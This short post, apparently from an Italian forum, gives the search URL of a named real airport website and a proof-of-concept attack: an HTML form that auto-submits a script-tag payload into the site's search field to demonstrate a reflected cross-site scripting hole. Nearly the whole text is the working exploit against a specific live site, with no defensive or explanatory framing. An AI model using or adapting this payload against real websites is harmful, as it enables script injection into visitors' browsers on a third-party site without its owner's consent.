http://www.veniceairport.it/save/search/searchResults.jsp?_DARGS=/save/search/searchForm.jsp
Codice:
<form name="f" action="http://www.veniceairport.it/save/search/searchResults.jsp?_DARGS=/save/search/searchForm.jsp" method="post"><input name=testo value='<script>alert("xss")</script>'></form><script>f.submit()</script>